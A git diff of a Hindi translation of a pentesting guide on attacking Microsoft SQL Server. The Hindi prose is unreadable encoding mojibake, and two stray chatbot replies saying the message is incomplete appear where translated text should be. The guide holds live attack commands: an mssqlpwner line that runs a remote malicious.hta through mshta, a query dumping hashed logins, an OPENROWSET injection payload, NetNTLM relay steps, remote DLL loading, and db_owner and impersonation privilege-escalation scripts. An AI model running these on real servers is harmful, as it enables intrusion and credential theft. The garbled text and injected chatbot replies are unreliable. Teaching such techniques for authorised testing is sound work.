**Principal:** рдпрд╣ рд╢рдмреНрдж рдЙрд╕ рдЗрдХрд╛рдИ рдХреЛ рд╕рдВрджрд░реНрднрд┐рдд рдХрд░рддрд╛ рд╣реИ рдЬрд┐рд╕реЗ рдПрдХ securable рдкрд░ рдЕрдиреБрдорддрд┐ рджреА рдЬрд╛рддреА рд╣реИред рдкреНрд░рдореБрдЦреЛрдВ рдореЗрдВ рдореБрдЦреНрдп рд░реВрдк рд╕реЗ рд▓реЙрдЧрд┐рди рдФрд░ рдбреЗрдЯрд╛рдмреЗрд╕ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╢рд╛рдорд┐рд▓ рд╣реЛрддреЗ рд╣реИрдВред Securables рддрдХ рдкрд╣реБрдБрдЪ рдкрд░ рдирд┐рдпрдВрддреНрд░рдг рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЛ рджреЗрдиреЗ рдпрд╛ рдЕрд╕реНрд╡реАрдХрд╛рд░ рдХрд░рдиреЗ рдпрд╛ рд▓реЙрдЧрд┐рди рдФрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдкрд╣реБрдБрдЪ рдЕрдзрд┐рдХрд╛рд░реЛрдВ рд╕реЗ рд╕реБрд╕рдЬреНрдЬрд┐рдд рднреВрдорд┐рдХрд╛рдУрдВ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рдХрд░рдХреЗ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред ```sql # Show all different securables names SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT); @@ -184,10 +184,10 @@ EXEC sp_helprotect 'xp_cmdshell' ``` ## Tricks -### OS рдХрдорд╛рдВрдбреНрд╕ рдЪрд▓рд╛рдирд╛ +### OS рдХрдорд╛рдВрдб рдЪрд▓рд╛рдПрдБ > [!CAUTION] -> рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдХрдорд╛рдВрдбреНрд╕ рдЪрд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЗрд╡рд▓ **`xp_cmdshell`** **рд╕рдХреНрд░рд┐рдп** рд╣реЛрдирд╛ рд╣реА рдЖрд╡рд╢реНрдпрдХ рдирд╣реАрдВ рд╣реИ, рдмрд▓реНрдХрд┐ **`xp_cmdshell` рд╕реНрдЯреЛрд░ рдХреА рдЧрдИ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдкрд░ EXECUTE рдЕрдиреБрдорддрд┐ рднреА рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдП**ред рдЖрдк рдпрд╣ рдЬрд╛рди рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдХреМрди (sysadmins рдХреЛ рдЫреЛрдбрд╝рдХрд░) **`xp_cmdshell`** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддрд╛ рд╣реИ: +> рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдХрдорд╛рдВрдб рдЪрд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЗрд╡рд▓ **`xp_cmdshell`** **рд╕рдХреНрд░рд┐рдп** рд╣реЛрдирд╛ рдЖрд╡рд╢реНрдпрдХ рдирд╣реАрдВ рд╣реИ, рдмрд▓реНрдХрд┐ **`xp_cmdshell` рд╕реНрдЯреЛрд░ рдХреА рдЧрдИ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдкрд░ EXECUTE рдЕрдиреБрдорддрд┐ рднреА рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдП**ред рдЖрдк рдпрд╣ рдЬрд╛рди рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдХреМрди (sysadmins рдХреЛ рдЫреЛрдбрд╝рдХрд░) **`xp_cmdshell`** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддрд╛ рд╣реИ: > > ```sql > Use master @@ -234,6 +234,10 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec ho # Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate ``` +### рд╣реИрд╢ рдХрд┐рдП рдЧрдП рдкрд╛рд╕рд╡рд░реНрдб рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ +```bash +SELECT * FROM master.sys.syslogins; +``` ### NetNTLM рд╣реИрд╢ рдЪреБрд░рд╛рдирд╛ / рд░рд┐рд▓реЗ рд╣рдорд▓рд╛ рдЖрдкрдХреЛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рд╣реИрд╢ рдХреЛ рдХреИрдкреНрдЪрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ **SMB рд╕рд░реНрд╡рд░** рд╢реБрд░реВ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП (`impacket-smbserver` рдпрд╛ `responder` рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП)ред @@ -269,7 +273,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.25 > EXEC sp_helprotect 'xp_fileexist'; > ``` -**Responder** рдпрд╛ **Inveigh** рдЬреИрд╕реЗ рдЙрдкрдХрд░рдгреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **NetNTLM рд╣реИрд╢** рдХреЛ **рдЪреБрд░рд╛рдирд╛** рд╕рдВрднрд╡ рд╣реИред\ +**responder** рдпрд╛ **Inveigh** рдЬреИрд╕реЗ рдЙрдкрдХрд░рдгреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **NetNTLM рд╣реИрд╢** рдХреЛ **рдЪреБрд░рд╛рдирд╛** рд╕рдВрднрд╡ рд╣реИред\ рдЖрдк рдЗрди рдЙрдкрдХрд░рдгреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХреИрд╕реЗ рдХрд░реЗрдВ, рдпрд╣ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ: {{#ref}} @@ -306,7 +310,7 @@ EXECUTE sp_OADestroy @OLE ``` ### **рдлрд╛рдЗрд▓ рдкрдврд╝реЗрдВ** OPENROWSET рдХреЗ рд╕рд╛рде -рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ, `MSSQL` рдлрд╛рдЗрд▓ **рдХреЛрдИ рднреА рдлрд╛рдЗрд▓ рдкрдврд╝рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рдЦрд╛рддреЗ рдХреЛ рдкрдврд╝рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рд╣реИ**ред рд╣рдо рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд SQL рдХреНрд╡реЗрд░реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ, `MSSQL` рдлрд╛рдЗрд▓ **рдХреЛрдИ рднреА рдлрд╛рдЗрд▓ рдкрдврд╝рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рдЦрд╛рддреЗ рдХреЛ рдкрдврд╝рдиреЗ рдХреА рдкрд╣реБрдВрдЪ рд╣реИ**ред рд╣рдо рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд SQL рдХреНрд╡реЗрд░реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: ```sql SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents ``` @@ -321,13 +325,13 @@ https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\w ``` ### **RCE/рдлрд╛рдЗрд▓реЗрдВ рдкрдврд╝рдирд╛ рд╕реНрдХреНрд░рд┐рдкреНрдЯреНрд╕ рдЪрд▓рд╛рдирд╛ (Python рдФрд░ R)** -MSSQL рдЖрдкрдХреЛ **Python рдФрд░/рдпрд╛ R** рдореЗрдВ **рд╕реНрдХреНрд░рд┐рдкреНрдЯреНрд╕** рдЪрд▓рд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗ рд╕рдХрддрд╛ рд╣реИред рдпреЗ рдХреЛрдб рдПрдХ **рдЕрд▓рдЧ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛** рджреНрд╡рд╛рд░рд╛ рдЪрд▓рд╛рдП рдЬрд╛рдПрдВрдЧреЗ рдЬреЛ **xp_cmdshell** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрдорд╛рдВрдбреНрд╕ рдЪрд▓рд╛рддрд╛ рд╣реИред +MSSQL рдЖрдкрдХреЛ **Python рдФрд░/рдпрд╛ R** рдореЗрдВ **рд╕реНрдХреНрд░рд┐рдкреНрдЯреНрд╕ рдЪрд▓рд╛рдиреЗ** рдХреА рдЕрдиреБрдорддрд┐ рджреЗ рд╕рдХрддрд╛ рд╣реИред рдпреЗ рдХреЛрдб **xp_cmdshell** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрдорд╛рдВрдб рдЪрд▓рд╛рдиреЗ рд╡рд╛рд▓реЗ **рд╡рд┐рднрд┐рдиреНрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛** рджреНрд╡рд╛рд░рд╛ рдЪрд▓рд╛рдП рдЬрд╛рдПрдВрдЧреЗред -Example trying to execute a **'R'** _"Hellow World!"_ **рдХрд╛рдо рдирд╣реАрдВ рдХрд░ рд░рд╣рд╛**: +**'R'** _"Hellow World!"_ **рдХреЛ рдЪрд▓рд╛рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕**: ![](<../../images/image (393).png>) -Example using configured python to perform several actions: +рдХрдИ рдХреНрд░рд┐рдпрд╛рдПрдБ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХреА рдЧрдИ рдкрд╛рдпрдерди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХрд╛ рдЙрджрд╛рд╣рд░рдг: ```sql # Print the user being used (and execute commands) EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())' @@ -341,7 +345,7 @@ print(sys.version) ' GO ``` -### рд░рдЬрд┐рд╕реНрдЯреНрд░рд┐ рдкрдврд╝реЗрдВ +### рд░рдЬрд┐рд╕реНрдЯреНрд░реНрд░реА рдкрдврд╝реЗрдВ Microsoft SQL Server **рдХрдИ рд╡рд┐рд╕реНрддрд╛рд░рд┐рдд рд╕реНрдЯреЛрд░ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдПрдБ** рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ рдЬреЛ рдЖрдкрдХреЛ рди рдХреЗрд╡рд▓ рдиреЗрдЯрд╡рд░реНрдХ рдХреЗ рд╕рд╛рде рдмрд▓реНрдХрд┐ рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдФрд░ рдпрд╣рд╛рдВ рддрдХ рдХрд┐ [**Windows Registry**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)** рдХреЗ рд╕рд╛рде рдЗрдВрдЯрд░реИрдХреНрдЯ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИрдВ:** @@ -370,17 +374,17 @@ For **рдЕрдзрд┐рдХ рдЙрджрд╛рд╣рд░рдгреЛрдВ** рдХреЗ рд▓рд┐рдП [**рдореВрд▓ рд╕ ### RCE with MSSQL User Defined Function - SQLHttp -рдпрд╣ **рдХрд╕реНрдЯрдо рдлрд╝рдВрдХреНрд╢рдВрд╕ рдХреЗ рд╕рд╛рде MSSQL рдХреЗ рднреАрддрд░ рдПрдХ .NET dll рд▓реЛрдб рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ**ред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдЗрд╕рдХреЗ рд▓рд┐рдП **`dbo` рдПрдХреНрд╕реЗрд╕ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ** рдЗрд╕рд▓рд┐рдП рдЖрдкрдХреЛ **`sa` рдпрд╛ рдПрдХ Administrator рднреВрдорд┐рдХрд╛** рдХреЗ рд░реВрдк рдореЗрдВ рдбреЗрдЯрд╛рдмреЗрд╕ рдХреЗ рд╕рд╛рде рдПрдХ рдХрдиреЗрдХреНрд╢рди рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред +рдпрд╣ **MSSQL рдореЗрдВ рдХрд╕реНрдЯрдо рдлрд╝рдВрдХреНрд╢рдВрд╕ рдХреЗ рд╕рд╛рде .NET dll рд▓реЛрдб рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ**ред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдЗрд╕рдХреЗ рд▓рд┐рдП **`dbo` рдПрдХреНрд╕реЗрд╕ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ** рдЗрд╕рд▓рд┐рдП рдЖрдкрдХреЛ **`sa` рдпрд╛ рдПрдХ Administrator рднреВрдорд┐рдХрд╛** рдХреЗ рд░реВрдк рдореЗрдВ рдбреЗрдЯрд╛рдмреЗрд╕ рдХреЗ рд╕рд╛рде рдПрдХ рдХрдиреЗрдХреНрд╢рди рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред [**рдЗрд╕ рд▓рд┐рдВрдХ рдХрд╛ рдкрд╛рд▓рди рдХрд░реЗрдВ**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) рдПрдХ рдЙрджрд╛рд╣рд░рдг рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдПред ### RCE with `autoadmin_task_agents` -[ **рдЗрд╕ рдкреЛрд╕реНрдЯ рдХреЗ рдЕрдиреБрд╕рд╛рд░**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp), рдпрд╣ рднреА рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдПрдХ рд░рд┐рдореЛрдЯ dll рд▓реЛрдб рдХрд░реЗрдВ рдФрд░ MSSQL рдХреЛ рдЗрд╕реЗ рдХреБрдЫ рдЗрд╕ рддрд░рд╣ рд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░реЗрдВ: +[ **рдЗрд╕ рдкреЛрд╕реНрдЯ рдХреЗ рдЕрдиреБрд╕рд╛рд░**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp), рдПрдХ рд░рд┐рдореЛрдЯ dll рд▓реЛрдб рдХрд░рдирд╛ рдФрд░ MSSQL рдХреЛ рдЗрд╕реЗ рдХреБрдЫ рдЗрд╕ рддрд░рд╣ рд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдирд╛ рднреА рд╕рдВрднрд╡ рд╣реИ: ```sql update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1"; ``` -It seems like your message is incomplete. Please provide the text you would like to have translated to Hindi. +I'm sorry, but it seems like your message is incomplete. Could you please provide the text you would like me to translate? ```csharp using Microsoft.SqlServer.SmartAdmin; using System; @@ -430,15 +434,15 @@ public void Test() } } ``` -### рдЕрдиреНрдп рддрд░реАрдХреЗ RCE рдХреЗ рд▓рд┐рдП +### RCE рдХреЗ рд▓рд┐рдП рдЕрдиреНрдп рддрд░реАрдХреЗ -рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрди рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рдЕрдиреНрдп рддрд░реАрдХреЗ рд╣реИрдВ, рдЬреИрд╕реЗ рдХрд┐ [extended stored procedures](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Assemblies](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Jobs](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), рдФрд░ [external scripts](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql). +рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрди рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рдЕрдиреНрдп рддрд░реАрдХреЗ рд╣реИрдВ, рдЬреИрд╕реЗ рдХрд┐ [рд╡рд┐рд╕реНрддрд╛рд░рд┐рдд рд╕рдВрдЧреНрд░рд╣реАрдд рдкреНрд░рдХреНрд░рд┐рдпрд╛рдПрдБ](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR рдЕрд╕реЗрдВрдмрд▓реА](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL рд╕рд░реНрд╡рд░ рдПрдЬреЗрдВрдЯ рдЬреЙрдмреНрд╕](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), рдФрд░ [рдмрд╛рд╣рд░реА рд╕реНрдХреНрд░рд┐рдкреНрдЯ](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql). ## MSSQL рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐ ### db_owner рд╕реЗ sysadmin рддрдХ -рдпрджрд┐ рдПрдХ **рд╕рд╛рдорд╛рдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛** рдХреЛ **`db_owner`** рдХреА рднреВрдорд┐рдХрд╛ **рдПрдХ admin** рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ рд╕реНрд╡рд╛рдорд┐рддреНрд╡ рд╡рд╛рд▓реЗ **рдбреЗрдЯрд╛рдмреЗрд╕** рдкрд░ рджреА рдЬрд╛рддреА рд╣реИ (рдЬреИрд╕реЗ **`sa`**) рдФрд░ рд╡рд╣ рдбреЗрдЯрд╛рдмреЗрд╕ **`trustworthy`** рдХреЗ рд░реВрдк рдореЗрдВ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рддреЛ рд╡рд╣ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрди рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддрд╛ рд╣реИ **privesc** рдХреЗ рд▓рд┐рдП рдХреНрдпреЛрдВрдХрд┐ рд╡рд╣рд╛рдБ рдмрдирд╛рдП рдЧрдП **stored procedures** рдХреЛ **admin** рдХреЗ рд░реВрдк рдореЗрдВ **execute** рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред +рдпрджрд┐ рдПрдХ **рд╕рд╛рдорд╛рдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛** рдХреЛ **`db_owner`** рдХреА рднреВрдорд┐рдХрд╛ **рдПрдХ рдкреНрд░рд╢рд╛рд╕рдХ** рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ рд╕реНрд╡рд╛рдорд┐рддреНрд╡ рд╡рд╛рд▓реЗ **рдбреЗрдЯрд╛рдмреЗрд╕** рдкрд░ рджреА рдЬрд╛рддреА рд╣реИ (рдЬреИрд╕реЗ **`sa`**) рдФрд░ рд╡рд╣ рдбреЗрдЯрд╛рдмреЗрд╕ **`trustworthy`** рдХреЗ рд░реВрдк рдореЗрдВ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рддреЛ рд╡рд╣ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрди рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддрд╛ рд╣реИ **privesc** рдХреЗ рд▓рд┐рдП рдХреНрдпреЛрдВрдХрд┐ рд╡рд╣рд╛рдБ рдмрдирд╛рдИ рдЧрдИ **рд╕рдВрдЧреНрд░рд╣реАрдд рдкреНрд░рдХреНрд░рд┐рдпрд╛рдПрдБ** рдорд╛рд▓рд┐рдХ (**рдкреНрд░рд╢рд╛рд╕рдХ**) рдХреЗ рд░реВрдк рдореЗрдВ **рдирд┐рд╖реНрдкрд╛рджрд┐рдд** рдХрд░ рд╕рдХрддреА рд╣реИрдВред ```sql # Get owners of databases SELECT suser_sname(owner_sid) FROM sys.databases @@ -477,14 +481,14 @@ SELECT is_srvrolemember('sysadmin') msf> use auxiliary/admin/mssql/mssql_escalate_dbowner ``` рдпрд╛ **PS** рд╕реНрдХреНрд░рд┐рдкреНрдЯ: -```powershell +```bash # https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1 Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1 Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184 ``` ### рдЕрдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХрд╛ рдЕрдиреБрдХрд░рдг -SQL Server рдореЗрдВ рдПрдХ рд╡рд┐рд╢реЗрд╖ рдЕрдиреБрдорддрд┐ рд╣реИ, рдЬрд┐рд╕рдХрд╛ рдирд╛рдо **`IMPERSONATE`** рд╣реИ, рдЬреЛ **рдХрд╛рд░реНрдпрд░рдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдХрд┐рд╕реА рдЕрдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛** рдпрд╛ рд▓реЙрдЧрд┐рди рдХреА рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЛ рдЕрдкрдирд╛рдиреЗ рдХреА **рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ** рдЬрдм рддрдХ рдХрд┐ рд╕рдВрджрд░реНрдн рдХреЛ рд░реАрд╕реЗрдЯ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рдпрд╛ рд╕рддреНрд░ рд╕рдорд╛рдкреНрдд рдирд╣реАрдВ рд╣реЛрддрд╛ред +SQL Server рдореЗрдВ рдПрдХ рд╡рд┐рд╢реЗрд╖ рдЕрдиреБрдорддрд┐ рд╣реИ, рдЬрд┐рд╕рдХрд╛ рдирд╛рдо **`IMPERSONATE`** рд╣реИ, рдЬреЛ **рдХрд╛рд░реНрдпрд░рдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдХрд┐рд╕реА рдЕрдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛** рдпрд╛ рд▓реЙрдЧрд┐рди рдХреА рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЛ рдЕрдкрдирд╛рдиреЗ рдХреА **рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ** рдЬрдм рддрдХ рдХрд┐ рд╕рдВрджрд░реНрдн рд░реАрд╕реЗрдЯ рдирд╣реАрдВ рд╣реЛрддрд╛ рдпрд╛ рд╕рддреНрд░ рд╕рдорд╛рдкреНрдд рдирд╣реАрдВ рд╣реЛрддрд╛ред ```sql # Find users you can impersonate SELECT distinct b.name @@ -522,7 +526,7 @@ REVERT msf> auxiliary/admin/mssql/mssql_escalate_execute_as ``` рдпрд╛ **PS** рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЗ рд╕рд╛рде: -```powershell +```bash # https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1 Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1 Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword! @@ -545,7 +549,7 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse рдЗрди рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рдиреЛрдВ рдХреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, [рдпрд╣ рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) рдЖрд╡рд╢реНрдпрдХ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд░рдЦрддреА рд╣реИред рдкреНрд░рддреНрдпреЗрдХ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЗ рдЪрд░рдг рдХреЗ рд▓рд┐рдП рдПрдХ рдкрд╛рд╡рд░рд╢реЗрд▓ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╣реЛрдиреЗ рдХреЗ рдЕрд▓рд╛рд╡рд╛, рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА рдореЗрдВ рдПрдХ рдкреВрд░реНрдг рд╕реНрдХреНрд░рд┐рдкреНрдЯ рднреА рд╣реИ рдЬреЛ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдФрд░ рдкрд╛рд╕рд╡рд░реНрдб рдХреЗ рдирд┐рд╖реНрдХрд░реНрд╖рдг рдФрд░ рдбрд┐рдХреНрд░рд┐рдкреНрд╢рди рдХреЛ рд╕рдВрдпреЛрдЬрд┐рдд рдХрд░рддреА рд╣реИред -рдЗрд╕ рд╣рдорд▓реЗ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд▓рд┐рдВрдХ рджреЗрдЦреЗрдВ: [MSSQL рдбреЗрдЯрд╛рдмреЗрд╕ рд▓рд┐рдВрдХ рд╕рд░реНрд╡рд░ рдкрд╛рд╕рд╡рд░реНрдб рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░рдирд╛](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/) +рдЗрд╕ рд╣рдорд▓реЗ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд▓рд┐рдВрдХ рджреЗрдЦреЗрдВ: [MSSQL рдбреЗрдЯрд╛рдмреЗрд╕ рд▓рд┐рдВрдХ рд╕рд░реНрд╡рд░ рдкрд╛рд╕рд╡рд░реНрдб рдХрд╛ рдбрд┐рдХреНрд░рд┐рдкреНрд╢рди](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/) [SQL Server рд╕рдорд░реНрдкрд┐рдд рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдХрдиреЗрдХреНрд╢рди рдХреА рд╕рдорд╕реНрдпрд╛ рдирд┐рд╡рд╛рд░рдг](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/) diff --git a/src/network-services-pentesting/pentesting-rdp.md b/src/network-services-pentesting/pentesting-rdp.md index 99d527a29..637642ae2 100644 --- a/src/network-services-pentesting/pentesting-rdp.md +++ b/src/network-services-pentesting/pentesting-rdp.md @@ -5,7 +5,7 @@ ## Basic Information -Microsoft рджреНрд╡рд╛рд░рд╛ рд╡рд┐рдХрд╕рд┐рдд, **Remote Desktop Protocol** (**RDP**) рдПрдХ рдЧреНрд░рд╛рдлрд┐рдХрд▓ рдЗрдВрдЯрд░рдлреЗрд╕ рдХрдиреЗрдХреНрд╢рди рдХреЛ рдиреЗрдЯрд╡рд░реНрдХ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрдВрдкреНрдпреВрдЯрд░реЛрдВ рдХреЗ рдмреАрдЪ рд╕рдХреНрд╖рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдРрд╕реЗ 